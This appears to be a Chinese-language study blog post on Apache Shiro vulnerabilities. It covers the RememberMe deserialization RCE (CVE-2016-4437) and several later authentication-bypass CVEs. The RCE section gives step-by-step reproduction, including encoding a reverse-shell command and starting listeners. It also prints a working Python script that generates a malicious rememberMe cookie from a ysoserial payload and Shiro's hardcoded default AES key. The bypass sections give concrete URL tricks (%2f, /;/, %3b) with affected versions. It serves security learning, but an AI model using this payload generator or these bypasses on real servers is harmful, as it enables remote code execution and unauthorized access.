Shiro 相关漏洞学习

RememberMe RCE-550(CVE-2016-4437)

产生原因:

Apache Shiro框架对传入的数据,在最后反序列化的时候没有做过滤处理。(仅对数据进行编码的话,做代码审计分析编码的原理,就可能会造成编码“失效”)

挖个坑,编码(加密,便于传输,防止信息泄露(哈希值?),防止远程命令执行?)

漏洞存在点:

Shiro提供了记住我(RememberMe)的功能,使用CookieRememberMeManager。将信息存入Cookie便于用户免密登录。

客户端流程(对Cookie数据加密处理):在CookieRememberMeManaer类中将cookie中rememberMe字段内容进行序列化、AES加密、Base64编码操作。

服务器端流程(对Cookie数据进行检验):获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。

攻击流程:

攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。

漏洞复现:

1.确定对象存在Shiro框架,确定对象版本;

2.检查返回包的 Set-Cookie 中是否存在 rememberMe=deleteMe 字段;

3.测试密钥

4.将想执行的命令(反弹shell等)进行编码(http://www.jackson-t.ca/runtime-exec-payloads.html,使管道、重定向、空格经过base64编码后得以运行)

5.开启监听端口,一个监听反弹shell的端口(必须),一个监听服务器连接利用ysoserial.jar(非必须);

6.将编码后的命令序列化、AES加密、base64编码后,在Cookie中发送,等待返回shell。

Shiro.py


import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES	#pip install pycryptodome
 
def encode_rememberme(command):
	popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
	iv = uuid.uuid4().bytes
	encryptor = AES.new(key, AES.MODE_CBC, iv)
	file_body = pad(popen.stdout.read())
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
	return base64_ciphertext
 
if __name__ == '__main__':
	payload = encode_rememberme(sys.argv[1])
	print("rememberMe={0}".format(payload.decode()))

这个只有一个AES编码的密钥。’kPH+bIxk5D2deZiIxcaaaA==’

(直接使用工具可以省略以上步骤。。再挖个坑,想知道他们怎么编写的工具)

远程安全限制绕过漏洞(CVE-2016-6802)

漏洞详情

shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径。

漏洞影响

shrio <1.3.2

漏洞利用

访问http://127.0.0.1/admin 的时候,页面返回403。因此可以确定admin路径是属于被过滤路径。此时使用burp截断,然后在访问路径的最后添加%2f,既可绕过shiro检测。因为对于浏览器来说%2f会被自动编码为/,但是burp截断之后进入shiro,shiro未对其解码,所以可以绕过。

具体的可以查看:Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 – 灰信网(软件开发博客聚合) (freesion.com)

Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)

漏洞详情

在Shiro中的URL路径表达式pathPattern可以正确匹配/resource/menus,但不能正确匹配/resource/menus/,导致过滤链无法正确匹配,从而绕Shiro的防护机制。当Shiro 的Ant格式的pathPattern 中的的通配符是不支持匹配路径的,所以/hello/不能成功匹配/hello/1/,也就不会触发authc拦截器进行权限拦截。从而成功绕过了Shiro拦截器,而后再进入到spring拦截器中,/hello/1/与/hello/1能获取到相同的资源。

影响版本

Shiro <1.5.2

漏洞分析

https://www.freebuf.com/vuls/231909.html

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

漏洞详情

如果直接访问 /test/admin/page ,会返回302跳转要求登录,

访问 /;/test/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息

漏洞版本

Shiro < 1.5.3

Sping框架只使用shiro鉴权

漏洞分析

https://xz.aliyun.com/t/7964

Apache Shiro 权限绕过漏洞(CVE-2020-13933)

漏洞详情

Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。访问/read/xx,被302重定向到了/login, 而访问/read/%3bxxx,能够绕过认证。

漏洞版本

Shiro<1.6.0

漏洞分析

https://xz.aliyun.com/t/8230/

实际漏洞挖掘中还是shiro反序列化常见,多用脚本测试;权限漏洞并不常见。

参考链接

Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721) – Bypass – 博客园 (cnblogs.com)

(11条消息) Apache Shiro系列漏洞利用以及实战总结_jammny-CSDN博客_shiro漏洞

longofo/PaddingOracleAttack-Shiro-721: Shiro-721 Padding Oracle Attack (github.com)

(11条消息) Apache Shiro反序列化漏洞复现并利用(CVE-2016-4437)_qq_42773814的博客-CSDN博客

shiro反序列化漏洞利用 – 简书 (jianshu.com)

上一篇
下一篇